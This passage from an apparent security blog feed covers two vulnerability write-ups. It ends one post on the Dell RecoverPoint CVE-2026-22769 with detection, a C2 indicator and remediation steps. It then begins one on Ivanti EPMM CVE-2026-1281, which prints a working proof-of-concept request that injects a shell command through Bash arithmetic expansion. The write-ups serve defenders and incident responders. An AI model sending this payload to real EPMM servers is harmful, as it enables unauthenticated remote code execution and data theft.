&lt;p&gt;&lt;strong&gt;The iptables SPA configuration is runtime-only.&lt;/strong&gt; The iptables rules observed on compromised vCenter appliances are loaded into the running kernel’s firewall state. They are not written to persistent iptables config files. A reboot of the vCenter appliance would clear them. This means if your first response action was to restart a suspicious-looking vCenter VM, you may have already eliminated this forensic artifact.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BRICKSTORM-to-GRIMBOLT replacement destroys prior artifact.&lt;/strong&gt; In cases where UNC6201 replaced BRICKSTORM with GRIMBOLT in September 2025, the BRICKSTORM binary was removed. The GRIMBOLT binary is the only malware artifact remaining. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert_hosts.sh&lt;/code&gt; modification is the historical forensic tie that links the current GRIMBOLT deployment to prior BRICKSTORM activity in terms of persistence mechanism, but the malware itself is only the latest iteration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fewer than a dozen known victims does not mean fewer than a dozen actual victims.&lt;/strong&gt; Mandiant knows of less than twelve organizations because those are the ones they responded to or were told about. The full scope of exploitation is unknown. Network appliances without EDR, shipped as pre-built VMs, are exactly the kind of target that gets compromised and stays compromised for years without anyone noticing.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;h3 id=&quot;network-level-detection&quot;&gt;Network-Level Detection&lt;/h3&gt;

&lt;p&gt;The primary network-level detection opportunity is HTTP traffic to Tomcat Manager from unexpected sources.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tomcat Manager access from non-management IPs:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Any POST request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://&amp;lt;rp4vm_ip&amp;gt;:8443/manager/text/deploy&lt;/code&gt; from a source IP that is not a known Dell RecoverPoint management host should be treated as a critical alert. This endpoint should never be accessed directly in normal operations outside of vendor-initiated updates.&lt;/p&gt;

&lt;p&gt;Check out this Sigma rule: https://github.com/danielgottt/malware-detection-analytics/blob/main/sigma/CVE-2026-22769_1.yml&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GRIMBOLT C2 Beacon:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The known C2 endpoint for GRIMBOLT is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wss://149.248.11.71/rest/apisession&lt;/code&gt;. Any outbound WebSocket connection from a RecoverPoint appliance IP to this host is a confirmed IOC.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WAR file written to Tomcat webapps directory:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Check out this Sigma rule: https://github.com/danielgottt/malware-detection-analytics/blob/main/sigma/CVE-2026-22769_2.yml&lt;/p&gt;

&lt;h3 id=&quot;vmware-level-hunting&quot;&gt;VMware-Level Hunting&lt;/h3&gt;

&lt;p&gt;For Ghost NIC detection, hunt for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReconfigVM_Task&lt;/code&gt; events in vCenter event logs where network adapter additions were not initiated by your change management system. Specifically:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Filter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ReconfigVM_Task&lt;/code&gt; events from the vCenter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tasks and Events&lt;/code&gt; log&lt;/li&gt;
  &lt;li&gt;Look for events where the user is the RecoverPoint service account rather than a human admin&lt;/li&gt;
  &lt;li&gt;Correlate event timestamps with any other suspicious activity on the RecoverPoint appliance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also hunt for outbound iptables rules being written on vCenter appliances. If you collect ESXi/vCenter shell history, look for the specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iptables&lt;/code&gt; command patterns Mandiant documented, particularly any rule that references &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--hex-string&lt;/code&gt; with a port redirect to 10443.&lt;/p&gt;

&lt;h2 id=&quot;remediation-and-workarounds&quot;&gt;Remediation and Workarounds&lt;/h2&gt;

&lt;h3 id=&quot;patch-preferred&quot;&gt;Patch (Preferred)&lt;/h3&gt;

&lt;p&gt;Upgrade to RecoverPoint for Virtual Machines 6.0.3.1 HF1. Full stop. This is the fix. Everything below is a temporary measure until you get there.&lt;/p&gt;

&lt;p&gt;The upgrade path depends on your current version:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;6.0 through 6.0 SP3 P1:&lt;/strong&gt; Upgrade directly to 6.0.3.1 HF1&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5.3 SP4 P1:&lt;/strong&gt; Migrate to 6.0 SP3 first, then upgrade to 6.0.3.1 HF1&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;5.3 SP4 and earlier:&lt;/strong&gt; Upgrade to 5.3 SP4 P1, then follow the 5.3 SP4 P1 path above&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;dell-remediation-script-faster-alternative&quot;&gt;Dell Remediation Script (Faster Alternative)&lt;/h3&gt;

&lt;p&gt;Dell published a standalone remediation script in KB article 000426742 that addresses the hardcoded credential without requiring a full version upgrade. This is the right choice if you need to close the vulnerability immediately and cannot afford upgrade downtime right now. Apply it, then schedule the upgrade.&lt;/p&gt;

&lt;h3 id=&quot;network-segmentation-mitigation-not-remediation&quot;&gt;Network Segmentation (Mitigation, Not Remediation)&lt;/h3&gt;

&lt;p&gt;Dell’s advisory notes that RecoverPoint for Virtual Machines is not intended for deployment on public or untrusted networks. If the Tomcat Manager port (typically 8443) is exposed outside of your management network, that exposure is your most urgent problem, more urgent even than the patch.&lt;/p&gt;

&lt;p&gt;Firewall rules should ensure that port 8443 on RecoverPoint appliances is only accessible from:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Specific Dell support IPs during authorized support sessions&lt;/li&gt;
  &lt;li&gt;Your vCenter management VLAN&lt;/li&gt;
  &lt;li&gt;Nothing else&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This does not fix the vulnerability. An attacker who is already inside your network can still exploit it. But it eliminates the remote unauthenticated internet-accessible attack surface.&lt;/p&gt;

&lt;h3 id=&quot;hunting-for-prior-compromise-before-patching&quot;&gt;Hunting for Prior Compromise Before Patching&lt;/h3&gt;

&lt;p&gt;Before you patch, hunt. Apply the remediation script on a schedule, but in parallel, review the forensic artifacts described above. If UNC6201 was already in your environment, patching the entry point does not remove the backdoor. GRIMBOLT and BRICKSTORM persist through reboots via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert_hosts.sh&lt;/code&gt; modification. You can patch the CVE, reboot the appliance, and wake up with a fully operational backdoor that survived the reboot.&lt;/p&gt;

&lt;p&gt;Check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert_hosts.sh&lt;/code&gt; first. If it has been modified, you have a persistence issue that is separate from the vulnerability remediation.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2026-22769 is the kind of vulnerability that makes backup infrastructure a liability. The irony is not subtle: the system responsible for recovering your virtual machines from disaster is itself the compromised appliance. The attacker does not need to pop a domain controller, brute force a VPN, or craft an exploit. They log in with a password that was written into a config file and has been sitting there unchanged across every single deployment of the product.&lt;/p&gt;

&lt;p&gt;This is not a sophisticated vulnerability. CWE-798 is about as fundamental as it gets in the world of credential security. What makes this notable is the context: a CVSS 10.0 sitting inside a trusted VMware environment, exploited by a PRC-nexus threat cluster for eighteen months before anyone published a CVE, and used as a launchpad for novel post-exploitation techniques including Ghost NICs that Mandiant says they have not seen before.&lt;/p&gt;

&lt;p&gt;The UNC6201 playbook here is worth understanding beyond just this CVE. They are specifically targeting appliance-class systems, edge devices, VPN concentrators, backup solutions, DR platforms, anything that lives in a trusted network position, runs a non-standard OS stack, and has no EDR agent on it. These systems are the blind spot in most enterprise security programs. You can have excellent EDR coverage across thousands of Windows endpoints and zero visibility into the Linux VM that manages your entire DR environment.&lt;/p&gt;

&lt;p&gt;The threat actor correlation is also worth noting. UNC6201 shows overlaps with UNC5221, which the broader industry tracks as Silk Typhoon. This is not a new actor. Silk Typhoon has been targeting edge infrastructure for years. The baton was effectively passed from Brickstorm to Grimbolt in September 2025, which Mandiant suggests may have been a direct response to IR activity. These actors adapt. They monitor disclosure efforts. They update their tooling in response to detection.&lt;/p&gt;

&lt;p&gt;If you run RecoverPoint for Virtual Machines: patch today, apply the remediation script if you cannot patch immediately, audit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert_hosts.sh&lt;/code&gt; for modifications, check your SIEM for any connections to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;149.248.11.71&lt;/code&gt;, and hunt for WAR file deployments in your Tomcat logs going back as far as your retention allows.&lt;/p&gt;

&lt;p&gt;And if you were previously targeted by Brickstorm activity in your environment? Per Mandiant’s guidance, go looking for Grimbolt specifically. The switch happened in September 2025. If the attacker was in your environment before that date, there may be a newer backdoor on your RP4VM appliances right now that did not exist the last time you looked.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dell.com/support/kbdoc/en-us/000426773/dsa-2026-079&quot;&gt;Dell DSA-2026-079: Security Update for RecoverPoint for Virtual Machines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/unc6201-exploiting-dell-recoverpoint-zero-day/&quot;&gt;Mandiant/GTIG: From BRICKSTORM to GRIMBOLT: UNC6201 Exploiting a Dell RecoverPoint for Virtual Machines Zero-Day&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybersecuritydive.com/news/zero-day-dell-recoverpoint-virtual-machines-exploited/812392/&quot;&gt;Cybersecurity Dive: Hackers exploit zero-day flaw in Dell RecoverPoint for Virtual Machines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/chinese-hackers-exploiting-dell-zero-day-flaw-since-mid-2024/&quot;&gt;BleepingComputer: Chinese hackers exploiting Dell zero-day flaw since mid-2024&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberscoop.com/china-brickstorm-grimbolt-dell-zero-day/&quot;&gt;CyberScoop: China Brickstorm Grimbolt Dell Zero-Day&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theregister.com/2026/02/18/dell_0day_brickstorm_campaign/&quot;&gt;The Register: Dell 0-day exploited by suspected Chinese snoops since 2024&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/gui/collection/6d9bd98653d426b223007bbafb06ba4b83f83df8de01ee1463a8d60fb2be5107/summary&quot;&gt;VirusTotal GTI IOC Collection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 17 Feb 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/02/17/dell_cve2026-22769/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/02/17/dell_cve2026-22769/</guid>
        
        <category>CVE-2026-22769</category>
        
        <category>research</category>
        
        <category>vulnerability</category>
        
        <category>forensics</category>
        
      </item>
    
      <item>
        <title>CVE-2026-1281: The Art of Arithmetic Expansion</title>
        <description>&lt;p&gt;If January is now officially “Ivanti vulnerability month,” CVE-2026-1281 is this year’s opening act, and it’s exactly as bad as you’d expect. Disclosed on January 29, 2026, alongside its sibling CVE-2026-1340, this pre-authentication remote code execution vulnerability in Ivanti Endpoint Manager Mobile (EPMM) was already being actively exploited as a zero-day before anyone outside Ivanti knew it existed. CISA wasted no time adding it to the KEV catalog with a three-day remediation deadline for federal agencies. That’s the government equivalent of yelling “drop everything and fix this immediately.”&lt;/p&gt;

&lt;p&gt;The technical sophistication here is genuinely impressive in the worst possible way. Whoever discovered the exploitation technique clearly has an intimate understanding of Bash arithmetic expansion behavior that borders on academic. The watchTowr team put it best: “someone knows Bash far too well, and we love it.” We don’t love the exploitation part, but you have to respect the craft.&lt;/p&gt;

&lt;p&gt;Let’s walk through what actually happens when theory meets a production EPMM instance at 2 AM.&lt;/p&gt;

&lt;h2 id=&quot;cve-details&quot;&gt;CVE Details&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-1281&lt;/strong&gt;: Code injection vulnerability in Ivanti Endpoint Manager Mobile (EPMM) affecting the In-House Application Distribution feature. CVSS 9.8 (Critical).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-1340&lt;/strong&gt;: Parallel code injection vulnerability affecting the Android File Transfer Configuration feature. Also CVSS 9.8 (Critical).&lt;/p&gt;

&lt;p&gt;Both allow unauthenticated remote code execution over the network. Attack complexity is low. No privileges required. No user interaction needed. In other words, if your EPMM instance is sitting on the internet, and you haven’t patched, someone is probably already inside.&lt;/p&gt;

&lt;p&gt;The vulnerability classification is CWE-94 (Improper Control of Generation of Code). That’s security researcher speak for “user input gets evaluated as code in ways the developers never intended.”&lt;/p&gt;

&lt;h2 id=&quot;timeline-zero-day-to-mass-exploitation&quot;&gt;Timeline: Zero-Day to Mass Exploitation&lt;/h2&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;Before January 29, 2026&lt;/strong&gt;: Unknown threat actors are exploiting CVE-2026-1281 and CVE-2026-1340 in the wild as zero-days. Ivanti later confirms “a very limited number of customers” were compromised. That phrase “very limited” is doing a lot of heavy lifting. The Dutch Data Protection Authority and Council for the Judiciary, the European Commission, and Finland’s Valtori were among confirmed victims.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;January 29, 2026&lt;/strong&gt;: Ivanti releases security advisory and temporary RPM patches. Same day, CISA adds CVE-2026-1281 to the KEV catalog with a February 1 deadline. Three days to patch or disconnect from the network. That’s not a normal patch cycle; that’s a fire drill.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;January 30, 2026&lt;/strong&gt;: watchTowr Labs publishes detailed technical analysis and proof-of-concept code. At this point, the cat is fully out of the bag. Public PoC means automated scanning and mass exploitation is imminent.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 1, 2026&lt;/strong&gt;: GreyNoise sensors detect first post-disclosure exploitation attempts. Shadowserver Foundation reports a spike in exploitation traffic from at least 13 source IPs within 24 hours of public disclosure. Approximately 1,600 EPMM instances are exposed globally.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 8-9, 2026&lt;/strong&gt;: Exploitation activity escalates sharply. GreyNoise records 269 sessions in a single day, roughly 13 times the daily average. Defused Cyber identifies a campaign deploying dormant in-memory Java class loaders to compromised instances at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/403.jsp&lt;/code&gt;. This is initial access broker tradecraft: compromise systems, install sleeper webshells, sell access later.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 15, 2026&lt;/strong&gt;: As of this writing, exploitation is ongoing and accelerating. The sleeper shells are designed to wait. Compromised systems may appear fine on the surface while threat actors catalog their inventory for future operations.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;impacted-versions-and-patch-status&quot;&gt;Impacted Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;All on-premises Ivanti EPMM 12.x versions are vulnerable:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;12.0.0.0 through 12.7.0.0 (all point releases)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Not affected&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Ivanti Neurons for Mobile Device Management (cloud-hosted)&lt;/li&gt;
  &lt;li&gt;Ivanti Endpoint Manager (EPM)&lt;/li&gt;
  &lt;li&gt;Ivanti Sentry&lt;/li&gt;
  &lt;li&gt;Other Ivanti products&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Patch situation&lt;/strong&gt;: Ivanti released temporary RPM patches that must be manually applied per affected version. These patches do not survive version upgrades and must be reapplied if you perform any maintenance or updates before the permanent fix. The RPM patches are version-specific:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ivanti-security-update-1761642-1.0.0L-5.noarch.rpm&lt;/code&gt; (for certain 12.x branches)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ivanti-security-update-1761642-1.0.0S-5.noarch.rpm&lt;/code&gt; (for other 12.x branches)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The permanent fix is scheduled for EPMM version 12.8.0.0, expected Q1 2026. Until then, you’re managing temporary patches with commitment issues.&lt;/p&gt;

&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h2&gt;

&lt;p&gt;The exploitation chain is elegant and horrifying. Here’s the path from HTTP request to remote code execution:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Attacker sends a crafted GET request to the vulnerable endpoint:&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue  ,et=1337133713,h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Apache’s RewriteRule captures the request and maps it to the Bash script &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/map-appstore-url&lt;/code&gt; with attacker-controlled parameters.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The Bash script parses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;key=value&lt;/code&gt; pairs from the URL. It extracts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st=theValue&lt;/code&gt; and stores it in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gStartTime&lt;/code&gt; variable. Note the two trailing spaces in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt; to satisfy a length validation check.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Later in the script, it extracts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h=gPath[&lt;/code&gt;sleep 5&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;]&lt;/code&gt; and stores it in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt; variable.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The script then performs a timestamp comparison: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Here’s where the magic happens: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gStartTime&lt;/code&gt; contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt;, which now references the last extracted value from the case statement: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath[`sleep 5`]&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;During arithmetic expansion in the comparison, Bash treats &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath&lt;/code&gt; as an array. The array index contains command substitution (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep 5&lt;/code&gt;). The shell executes that command while resolving the index.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep 5&lt;/code&gt; command executes with the privileges of the web server.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The public PoC demonstrates arbitrary command execution by replacing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep 5&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id &amp;gt; /mi/poc&lt;/code&gt;. Attackers in the wild have used this to deploy webshells, exfiltrate data, and establish persistence.&lt;/p&gt;

&lt;h2 id=&quot;technical-analysis-the-exploitation-mechanism&quot;&gt;Technical Analysis: The Exploitation Mechanism&lt;/h2&gt;

&lt;p&gt;The vulnerability exists in how EPMM handles application distribution requests. The In-House Application Distribution feature uses a Bash script to verify requests and retrieve mobile applications from the approved app store. It requires several parameters:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kid&lt;/code&gt;: Index of a salt string from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/files/appstore-salt.txt&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;: Start time for the download operation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;et&lt;/code&gt;: End time for the download operation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt;: SHA256 hash to verify the caller knows the secret salt&lt;/li&gt;
  &lt;li&gt;Application GUID to retrieve&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under normal circumstances, this is a straightforward file retrieval with integrity checking. The script validates timestamps, checks the hash, and returns the requested file if everything checks out.&lt;/p&gt;

&lt;p&gt;The problem is in how Bash handles indirect variable references during arithmetic expansion. When you write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${gStartTime}&lt;/code&gt; in an arithmetic context, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gStartTime&lt;/code&gt; contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt;, Bash dereferences it. If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt; contains an array reference with command substitution like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath[`command`]&lt;/code&gt;, the shell executes that command to resolve the array index.&lt;/p&gt;

&lt;p&gt;This is not a typical command injection where you’re breaking out of quoted strings or chaining commands with semicolons. This is exploiting the evaluation order of nested variable expansions in arithmetic contexts. It’s the kind of thing you discover by accident after spending hours staring at Bash scripts, or by deeply understanding POSIX shell evaluation semantics.&lt;/p&gt;

&lt;p&gt;The CVE-2026-1340 variant works identically but targets the Android File Transfer Configuration feature through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/map-aft-store-url&lt;/code&gt;. The exploitation mechanics are the same, just a different endpoint: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/c/aftstore/fob/&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/c/appstore/fob/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Ivanti’s fix replaces both Bash scripts with Java classes (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppStoreUrlMapper.class&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AFTUrlMapper.class&lt;/code&gt;) that handle URL rewriting without shell interpretation. The entire vulnerability class disappears when you stop passing user input through Bash arithmetic evaluation.&lt;/p&gt;

&lt;h2 id=&quot;forensic-evidence-collection&quot;&gt;Forensic Evidence Collection&lt;/h2&gt;

&lt;p&gt;If you’re running EPMM, you need to assume compromise and start collecting evidence immediately. Here’s what you need to preserve:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Apache Access Logs&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/httpd/https-access_log&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;This is your primary evidence source for exploitation attempts&lt;/li&gt;
  &lt;li&gt;Look for requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/c/appstore/fob/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/c/aftstore/fob/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Critical: Export these logs to an external SIEM or collector before doing anything else. Attackers with code execution can and will modify on-box logs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Apache Error Logs&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/httpd/error_log&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;May contain evidence of failed exploitation attempts or command execution errors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;System Logs&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/messages&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/secure&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Look for unusual process execution, authentication events, privilege escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Application Logs&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/logs/&lt;/code&gt; directory&lt;/li&gt;
  &lt;li&gt;EPMM application logs may contain evidence of database access or configuration changes&lt;/li&gt;
  &lt;li&gt;Ivanti’s detection RPM generates an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ivanti_checks&lt;/code&gt; log file in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/log&lt;/code&gt; directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Process Memory&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Capture full memory dumps if possible before restarting services&lt;/li&gt;
  &lt;li&gt;In-memory webshells do not survive process restarts, so memory forensics is your only chance to identify them&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/403.jsp&lt;/code&gt; sleeper shells are loaded as Java class loaders in memory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;File System&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Full disk image if you suspect compromise&lt;/li&gt;
  &lt;li&gt;Pay special attention to:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/files/&lt;/code&gt; (application files)&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/&lt;/code&gt; (scripts and executables)&lt;/li&gt;
      &lt;li&gt;Web root directories&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/tmp&lt;/code&gt; (common staging areas)&lt;/li&gt;
      &lt;li&gt;Look for files modified around the time of suspicious requests&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Database&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;EPMM database backup&lt;/li&gt;
  &lt;li&gt;Contains PII for managed mobile devices: names, email addresses, phone numbers, GPS information, device identifiers&lt;/li&gt;
  &lt;li&gt;Attackers have been observed extracting this data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Traffic&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Packet captures from the time period before patching&lt;/li&gt;
  &lt;li&gt;DNS query logs (attackers have been observed using DNS for C2 communications)&lt;/li&gt;
  &lt;li&gt;Outbound connections from the EPMM server&lt;/li&gt;
  &lt;li&gt;Particularly suspicious: DNS queries to unusual domains, connections to bulletproof hosting infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Configuration Files&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Apache configuration files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/config-system/xsl/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;EPMM configuration files&lt;/li&gt;
  &lt;li&gt;Compare against known-good backups to identify unauthorized modifications&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;considerations-and-limitations&quot;&gt;Considerations and Limitations&lt;/h2&gt;

&lt;p&gt;Let’s talk about what you’re not going to find and why that doesn’t mean you’re safe.&lt;/p&gt;

